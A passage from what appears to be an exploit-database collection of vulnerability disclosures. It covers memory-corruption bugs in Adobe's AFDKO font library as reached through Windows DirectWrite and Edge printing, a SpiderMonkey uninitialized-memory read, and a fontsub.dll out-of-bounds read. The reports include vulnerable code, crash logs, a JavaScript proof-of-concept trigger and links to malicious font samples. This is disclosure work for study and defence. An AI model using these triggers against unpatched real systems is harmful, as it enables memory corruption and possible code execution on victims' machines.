'Exception' (line 2586) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49 in do_set_weight_vector_cube Shadow bytes around the buggy address: 0x1000406a34a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a34b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a34c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a34d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 00 f7 f7 f7 f7 00 0x1000406a34e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 =>0x1000406a34f0: f7 f7 f7 00 00 00 00 00 f7 f7 f7[f7]f7 f7 f7 f7 0x1000406a3500: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a3510: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a3520: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a3530: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a3540: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==96231==ABORTING --- cut --- Where the t2cstr.c:992 line is: --- cut --- 992 int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt; --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47087.zip
  14. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The vulnerability resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, whose prologue is shown below: --- cut --- 985 static int do_set_weight_vector_cube(t2cCtx h, int nAxes) { 986 float dx, dy; 987 int i = 0; 988 int j = 0; 989 int nMasters = 1 << nAxes; 990 float NDV[kMaxCubeAxes]; 991 int popCnt = nAxes + 3; 992 int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt; 993 float *composeOps = h->cube[h->cubeStackDepth].composeOpArray; --- cut --- The "nAxes" argument may be controlled through the tx_SETWVN instruction: --- cut --- 1912 case tx_SETWVN: { 1913 int numAxes = (int)POP(); 1914 result = do_set_weight_vector_cube(h, numAxes); 1915 if (result || !(h->flags & FLATTEN_CUBE)) 1916 return result; --- cut --- Later in do_set_weight_vector_cube(), there is very little sanitization of "nAxes", and the function mostly assumes that the argument is valid. Setting it to a negative value will cause the following check to pass: --- cut --- 1022 if (composeCnt < (nAxes + 3)) 1023 return t2cErrStackUnderflow; --- cut --- which enables us to execute the rest of the function with "nMasters" equal to an arbitrary power of 2, and "popCnt" set to an arbitrary negative value. This may lead to stack-based out-of-bounds reads and writes in the following loops: --- cut --- 1028 /* Pop all the current COMPOSE args off the stack. */ 1029 for (i = popCnt; i < composeCnt; i++) 1030 composeOps[i - popCnt] = composeOps[i]; [...] 1039 1040 /* Compute Weight Vector */ 1041 for (i = 0; i < nMasters; i++) { 1042 h->cube[h->cubeStackDepth].WV[i] = 1; 1043 for (j = 0; j < nAxes; j++) 1044 h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j]; 1045 } 1046 /* Pop all the current COMPOSE args off the stack. */ 1047 for (i = popCnt; i < composeCnt; i++) 1048 composeOps[i - popCnt] = composeOps[i]; --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept file calls do_set_weight_vector_cube(nAxes=-100000), causing AFDKO to perform largely out-of-bounds read/writes operations relative to the stack, which results in a SIGSEGV / ACCESS_VIOLATION crash of the client program in line 1030: --- cut --- 1028 /* Pop all the current COMPOSE args off the stack. */ 1029 for (i = popCnt; i < composeCnt; i++) 1030 composeOps[i - popCnt] = composeOps[i]; --- cut --- -----=====[ Crash logs ]=====----- Crash log of the "tx" 64-bit utility started as ./tx -cff <path to font file>: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030 1030 composeOps[i - popCnt] = composeOps[i]; (gdb) where #0 0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030 #1 0x0000000000460f3f in t2Decode (h=0x7ffffff60188, offset=19147) at ../../../../../source/t2cstr/t2cstr.c:1914 #2 0x000000000045e224 in t2Decode (h=0x7ffffff60188, offset=23565) at ../../../../../source/t2cstr/t2cstr.c:1412 #3 0x000000000045cb26 in t2cParse (offset=23565, endOffset=23574, aux=0x7156e8, gid=2, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8) at ../../../../../source/t2cstr/t2cstr.c:2591 #4 0x000000000041371f in readGlyph (h=0x710380, gid=2, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927 #5 0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966 #6 0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151 #7 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf") at ../../../../source/tx.c:429 #8 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf") at ../../../../source/tx.c:488 #9 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558 #10 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631 (gdb) print i $1 = -99997 (gdb) print popCnt $2 = -99997 (gdb) print composeCnt $3 = 4 (gdb) --- cut --- Crash log from the Microsoft Edge renderer process: --- cut --- (4378.f50): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!do_set_weight_vector_cube+0x16a: 00007ff9`e87c0d82 8b01 mov eax,dword ptr [rcx] ds:0000000b`2decf988=???????? 0:038> u DWrite!do_set_weight_vector_cube+0x16a: 00007ff9`e87c0d82 8b01 mov eax,dword ptr [rcx] 00007ff9`e87c0d84 890491 mov dword ptr [rcx+rdx*4],eax 00007ff9`e87c0d87 488d4904 lea rcx,[rcx+4] 00007ff9`e87c0d8b 4883ef01 sub rdi,1 00007ff9`e87c0d8f 75f1 jne DWrite!do_set_weight_vector_cube+0x16a (00007ff9`e87c0d82) 00007ff9`e87c0d91 e900010000 jmp DWrite!do_set_weight_vector_cube+0x27e (00007ff9`e87c0e96) 00007ff9`e87c0d96 33d2 xor edx,edx 00007ff9`e87c0d98 4d8bd0 mov r10,r8 0:038> ? rsp Evaluate expression: 48015521648 = 0000000b`2df2b770 0:038> !teb TEB at 0000000b2b0ae000 ExceptionList: 0000000000000000 StackBase: 0000000b2df40000 StackLimit: 0000000b2df2a000 [...] 0:038> k # Child-SP RetAddr Call Site 00 0000000b`2df2b770 00007ff9`e87c2b1f DWrite!do_set_weight_vector_cube+0x16a 01 0000000b`2df2b800 00007ff9`e87c186e DWrite!t2Decode+0x15ab 02 0000000b`2df2b940 00007ff9`e87c4a62 DWrite!t2Decode+0x2fa 03 0000000b`2df2ba80 00007ff9`e87ac103 DWrite!t2cParse+0x28e 04 0000000b`2df3b3e0 00007ff9`e87ae3f7 DWrite!readGlyph+0x12b 05 0000000b`2df3b450 00007ff9`e87a2272 DWrite!cfrIterateGlyphs+0x37 06 0000000b`2df3b4a0 00007ff9`e873157a DWrite!AdobeCFF2Snapshot+0x19a 07 0000000b`2df3b9a0 00007ff9`e8730729 DWrite!FontInstancer::InstanceCffTable+0x212 08 0000000b`2df3bb80 00007ff9`e873039a DWrite!FontInstancer::CreateInstanceInternal+0x249 09 0000000b`2df3bda0 00007ff9`e8715a4e DWrite!FontInstancer::CreateInstance+0x192 0a 0000000b`2df3c100 00007ff9`f2df61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 0b 0000000b`2df3c190 00007ff9`f2de9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0c 0000000b`2df3c2b0 00007ff9`cd7750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 0d 0000000b`2df3c300 00007ff9`cd74fcb0 edgehtml!CDXPrintControl::Close+0x44 0e 0000000b`2df3c350 00007ff9`cd7547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0f 0000000b`2df3c380 00007ff9`cd62b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 10 0000000b`2df3c3b0 00007ff9`cd289175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 11 0000000b`2df3c3f0 00007ff9`cf5368f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47088.zip
  15. ----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The _t2cCtx structure defined in c/public/lib/source/t2cstr/t2cstr.c contains a "cube" array and a "cubeStackDepth" index: --- cut --- 84 int cubeStackDepth; 85 float transformMatrix[6]; 86 struct /* Stem hints */ 87 { 88 float start_x; /* Path x-coord at start of Cube library element processing */ 89 float start_y; /* Path y-coord at start of Cube library element processing */ 90 float offset_x; /* cube offset, to add to first moveto in cube library element (LE) */ 91 float offset_y; /* cube offset, to add to first moveto in cube library element (LE) */ 92 int nMasters; 93 int leIndex; 94 int composeOpCnt; 95 float composeOpArray[TX_MAX_OP_STACK_CUBE]; 96 double WV[kMaxCubeMasters]; /* Was originally just 4, to support substitution MM fonts. Note: the PFR rasterizer can support only up to 5 axes */ 97 } cube[CUBE_LE_STACKDEPTH]; --- cut --- The CUBE_LE_STACKDEPTH constant is defined in c/public/lib/resource/txops.h as: --- cut --- 193 #define CUBE_LE_STACKDEPTH 6 --- cut --- The "cubeStackDepth" index is incremented in t2Decode() (c/public/lib/source/t2cstr/t2cstr.c), in the handling of the tx_compose operation (number 2): --- cut --- 1318 case tx_compose: [...] 1365 h->cubeStackDepth++; 1366 /* copy compose ops to h->cubeOpArray */ 1367 h->cube[h->cubeStackDepth].composeOpCnt = h->stack.cnt; 1368 while (h->stack.cnt-- > 0) 1369 h->cube[h->cubeStackDepth].composeOpArray[h->stack.cnt] = h->stack.array[h->stack.cnt]; 1370 h->stack.cnt = 0; [...] --- cut --- However there is no upper bound check of the value of the field, so by invoking the tx_compose operation several times in a row, it is possible to set it out of bounds. As user-controlled reads and writes can be performed on h->cube[h->cubeStackDepth], this may lead to non-continuous memory corruption and remote code execution. Various members of the _t2cCtx structure make a good target for overwriting, including the interpreter stack index/limit, the cff2/glyph/mem callback pointers etc. Furthermore, the _t2cCtx object itself is declared in the stack frame of the t2cParse() function, so stack frame pointers, return addresses and other control flow information can be corrupted through this vulnerability as well. -----=====[ Proof of Concept ]=====----- The proof of concept file triggers the bug upon decoding the instruction stream for letter "A". It calls the only global subroutine (index 0), which then indefinitely, recursively invokes itself through the tx_compose operator, each time incrementing h->cubeStackDepth by one. After several dozen iterations the function reaches the bottom of the stack and crashes with SIGSEGV / ACCESS_VIOLATION while accessing an invalid memory address. -----=====[ Crash logs ]=====----- A crash log from the "tx" tool being part of AFDKO, run as ./tx -cff <path to font file>: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x000000000045deaa in t2Decode (h=0x7ffffff60188, offset=19147) at ../../../../../source/t2cstr/t2cstr.c:1367 1367 h->cube[h->cubeStackDepth].composeOpCnt = h->stack.cnt; (gdb) print h->cubeStackDepth $1 = 69 (gdb) print h->cube[h->cubeStackDepth] Cannot access memory at address 0x7ffffffff488 (gdb) print h->cube[h->cubeStackDepth].composeOpCnt Cannot access memory at address 0x7ffffffff4a0 (gdb) x/10i $rip => 0x45deaa <t2Decode+1130>: mov %ecx,0x18(%rax) 0x45dead <t2Decode+1133>: mov -0x18(%rbp),%rax 0x45deb1 <t2Decode+1137>: mov 0x8(%rax),%rcx 0x45deb5 <t2Decode+1141>: mov %rcx,%rdx 0x45deb8 <t2Decode+1144>: add $0xffffffffffffffff,%rdx 0x45debc <t2Decode+1148>: mov %rdx,0x8(%rax) 0x45dec0 <t2Decode+1152>: cmp $0x0,%rcx 0x45dec4 <t2Decode+1156>: jle 0x45df0e <t2Decode+1230> 0x45deca <t2Decode+1162>: mov -0x18(%rbp),%rax 0x45dece <t2Decode+1166>: mov -0x18(%rbp),%rcx (gdb) info reg $rax rax 0x7ffffffff488 140737488352392 (gdb) --- cut --- A crash log from the Microsoft Edge renderer process, while trying to print a webpage containing the malformed variable font: --- cut --- (3fa8.3104): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!t2Decode+0x203: 00007ff9`ac0f1777 89943938590000 mov dword ptr [rcx+rdi+5938h],edx ds:000000d9`a5541448=???????? 0:038> !teb TEB at 000000d9a274f000 ExceptionList: 0000000000000000 StackBase: 000000d9a5540000 StackLimit: 000000d9a552b000 0:038> ? edx Evaluate expression: 4 = 00000000`00000004 0:038> ? rcx Evaluate expression: 64320 = 00000000`0000fb40 0:038> ? rdi Evaluate expression: 934781566928 = 000000d9`a552bfd0 0:038> k # Child-SP RetAddr Call Site 00 000000d9`a552b090 00007ff9`ac0f186e DWrite!t2Decode+0x203 01 000000d9`a552b1d0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa 02 000000d9`a552b310 00007ff9`ac0f186e DWrite!t2Decode+0x2fa 03 000000d9`a552b450 00007ff9`ac0f186e DWrite!t2Decode+0x2fa 04 000000d9`a552b590 00007ff9`ac0f186e DWrite!t2Decode+0x2fa 05 000000d9`a552b6d0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa 06 000000d9`a552b810 00007ff9`ac0f186e DWrite!t2Decode+0x2fa 07 000000d9`a552b950 00007ff9`ac0f186e DWrite!t2Decode+0x2fa 08 000000d9`a552ba90 00007ff9`ac0f186e DWrite!t2Decode+0x2fa 09 000000d9`a552bbd0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa 0a 000000d9`a552bd10 00007ff9`ac0f1eba DWrite!t2Decode+0x2fa 0b 000000d9`a552be50 00007ff9`ac0f4a62 DWrite!t2Decode+0x946 0c 000000d9`a552bf90 00007ff9`ac0dc103 DWrite!t2cParse+0x28e 0d 000000d9`a553b8f0 00007ff9`ac0de3f7 DWrite!readGlyph+0x12b 0e 000000d9`a553b960 00007ff9`ac0d2272 DWrite!cfrIterateGlyphs+0x37 0f 000000d9`a553b9b0 00007ff9`ac06157a DWrite!AdobeCFF2Snapshot+0x19a 10 000000d9`a553beb0 00007ff9`ac060729 DWrite!FontInstancer::InstanceCffTable+0x212 11 000000d9`a553c090 00007ff9`ac06039a DWrite!FontInstancer::CreateInstanceInternal+0x249 12 000000d9`a553c2b0 00007ff9`ac045a4e DWrite!FontInstancer::CreateInstance+0x192 13 000000d9`a553c610 00007ff9`b71161ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 14 000000d9`a553c6a0 00007ff9`b7109148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 15 000000d9`a553c7c0 00007ff9`904e50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 16 000000d9`a553c810 00007ff9`904bfcb0 edgehtml!CDXPrintControl::Close+0x44 17 000000d9`a553c860 00007ff9`904c47ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 18 000000d9`a553c890 00007ff9`9039b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 19 000000d9`a553c8c0 00007ff9`00000000 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 [...] --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47086.zip
  16. /* For constructors, Spidermonkey implements a "definite property analysis" [1] to compute which properties will definitely exist on the constructed objects. Spidermonkey then directly allocates the constructed objects with the final Shape. As such, at the entrypoint of the constructor the constructed objects will already "look like" they have all the properties that are only installed throughout the constructor. This mechanism e.g. makes it possible to omit some Shape updates in JITed code. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 for another short explanation of this mechanism. The definite property analysis must ensure that "predefining" the properties in such a way will not be visible to the running script. In particular, it can only mark properties as definite if they aren't read or otherwise accessed before the assignment. In the following JavaScript program, discovered through fuzzing and then manually modified, Spidermonkey appears to incorrectly handle such a scenario: */ l = undefined; function v10() { let v15 = 0; try { const v16 = v15.foobar(); } catch(v17) { l = this.uninitialized; } this.uninitialized = 1337; } for (let v36 = 0; v36 < 100; v36++) { const v38 = new v10(); if (l !== undefined) { console.log("Success: 0x" + l.toString(16)); break; } } /* When run on a local Spidermonkey built from the beta branch or in Firefox 66.0.3 with `javascript.options.unboxed_objects` set to true in about:config, it will eventually output something like: Success: 0x2d2d2d2d Here, the definite property analysis concluded that .uninitialized is definitely assigned to the constructed objects and not accessed before it is assigned (which is wrong). In particular, it seems that the catch block is entirely ignored by the analysis as it is not present in the Ion graph representation of v10 on which the analysis is performed. As such, when reading .uninitialized in the catch block, uninitialized memory (which seems to be initialized with 0x2d in debug builds) is read from `this` and later printed to stdout. If the line `this.uninitialized = 1337;` is modified to instead assign a double value (e.g. `this.uninitialized = 13.37;`), then an assertion failure can be observed: Assertion failure: isDouble(), at js/src/build_DBG.OBJ/dist/include/js/Value.h:450 As unboxed properties can also store JSObject pointers, this bug can likely be turned into memory corruption as well. However, since this requires unboxed object, which have recently been disabled by default and appear to be fully removed soon, it likely only affects non-standard configurations of FireFox. If unboxed objects are disabled (e.g. through --no-unboxed-objects), then the analysis will still be incorrect and determine that .uninitialized can be "predefined". This can be observed by changing `l = this.uninitialized;` to `l = this.hasOwnProperty('uninitialized');` which will incorrectly return true. In that case, the property slots seem to be initialized with `undefined` though, so no memory safety violation occurs. However, I have not verified that they will always be initialized in that way. Furthermore, it might be possible to confuse property type inference in that case, but I have not attempted that. Below is the original sample triggered by fuzzilli. It ended up reading the property by spreading |this|. // Run with --no-threads --ion-warmup-threshold=100 function main() { const v3 = Object != Object; let v4 = v3; const v5 = typeof undefined; const v7 = v5 === "undefined"; const v9 = Array(); function v10(v11,v12) { let v15 = 0; try { const v16 = v15.race(); } catch(v17) { for (let v21 = 0; v21 < 7; v21++) { let v24 = 0; while (v24 < 256) { const v25 = v24 + 1; v24 = v25; } const v26 = Array == v21; const v27 = {trimStart:v4,seal:v10,...v26,...v9,...v26,...v26,...this,...v7}; } } for (let v30 = 0; v30 < 9; v30++) { } const v31 = v4 + 1; this.E = v31; } const v32 = v10(); for (let v36 = 0; v36 < 5; v36++) { const v38 = new v10(); let v39 = Object; const v41 = Object(); const v42 = v41.getOwnPropertyDescriptors; let v43 = v42; const v44 = {LN10:v42,unshift:Object,isFinite:Object,test:v41,...v43,...v39,...v41}; } } main(); gc(); */
  17. -----=====[ Background ]=====----- The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts. The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness. -----=====[ Description ]=====----- We have encountered the following crash in fontsub!MergeFonts: --- cut --- (5f7c.29fc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. FONTSUB!MergeFonts+0x774: 00007fff`aa53b214 413944cd00 cmp dword ptr [r13+rcx*8],eax ds:0000018a`014e8000=???????? 0:000> ? r13 Evaluate expression: 1692239036224 = 0000018a`014e7f40 0:000> ? rcx Evaluate expression: 24 = 00000000`00000018 0:000> ? eax Evaluate expression: 1191239935 = 00000000`4700e0ff 0:000> dd r13 r13+18*8-1 0000018a`014e7f40 68656164 c18e145a 000000cc 00000036 0000018a`014e7f50 68686561 0bde01ea 00000104 00000024 0000018a`014e7f60 6d617870 0666d833 00000128 00000020 0000018a`014e7f70 686d7478 4872344e 00000148 0000016a 0000018a`014e7f80 636d6170 4079c39a 000002b4 00000996 0000018a`014e7f90 676c7966 4ec7e46c 00000c4c 00009e8c 0000018a`014e7fa0 6c6f6361 a4f67e41 0000aad8 00000166 0000018a`014e7fb0 45424454 fe7d185f 0000b148 00000145 0000018a`014e7fc0 45424c43 1babe979 0000ac40 00000508 0000018a`014e7fd0 62646174 fe7d185f 0000b798 00000145 0000018a`014e7fe0 626c6f63 1babe979 0000b290 00000508 0000018a`014e7ff0 64747466 74f237b6 0000b8e0 00000176 0:000> !heap -p -a r13 address 0000018a014e7f40 found in _DPH_HEAP_ROOT @ 18a01001000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 18a0100f068: 18a014e7f40 c0 - 18a014e7000 2000 unknown!printable 00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f 00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c 00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb 00007fffb4efbe42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022 00007fffcca398f0 msvcrt!malloc+0x0000000000000070 00007fffaa53fd1e FONTSUB!Mem_Alloc+0x0000000000000012 00007fffaa53abbd FONTSUB!MergeFonts+0x000000000000011d 00007fffaa53baac FONTSUB!MergeDeltaTTF+0x00000000000003ec 00007fffaa5314b2 FONTSUB!MergeFontPackage+0x0000000000000132 [...] 0:000> k # Child-SP RetAddr Call Site 00 00000079`dc4fd910 00007fff`aa53baac FONTSUB!MergeFonts+0x774 01 00000079`dc4fdac0 00007fff`aa5314b2 FONTSUB!MergeDeltaTTF+0x3ec 02 00000079`dc4fdc00 00007ff6`1a8a8a30 FONTSUB!MergeFontPackage+0x132 [...] --- cut --- The root cause of the crash seems to be an out-of-bounds access to an array storing SFNT table headers. The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 3 proof of concept malformed font files which trigger the crash. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47084.zip
  18. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object: --- cut --- 70 struct /* Operand stack */ 71 { 72 long cnt; 73 float array[CFF2_MAX_OP_STACK]; 74 unsigned short numRegions; 75 long blendCnt; 76 abfOpEntry blendArray[CFF2_MAX_OP_STACK]; 77 abfBlendArg blendArgs[T2_MAX_STEMS]; 78 } stack; --- cut --- The "cnt" and "array" fields correspond to the regular stack used by all kinds of OpenType fonts. The remaining fields only have a purpose in the handling of the new CFF2 format (variable fonts). Whenever a new value is pushed on the stack, it is written to array[] and optionally blendArray[], as seen in the definition of the PUSH() macro: --- cut --- 153 #define PUSH(v) \ 154 { \ 155 if (h->aux->flags & T2C_IS_CFF2) h->stack.blendArray[h->stack.blendCnt++].value = (float)(v); \ 156 h->stack.array[h->stack.cnt++] = (float)(v); \ 157 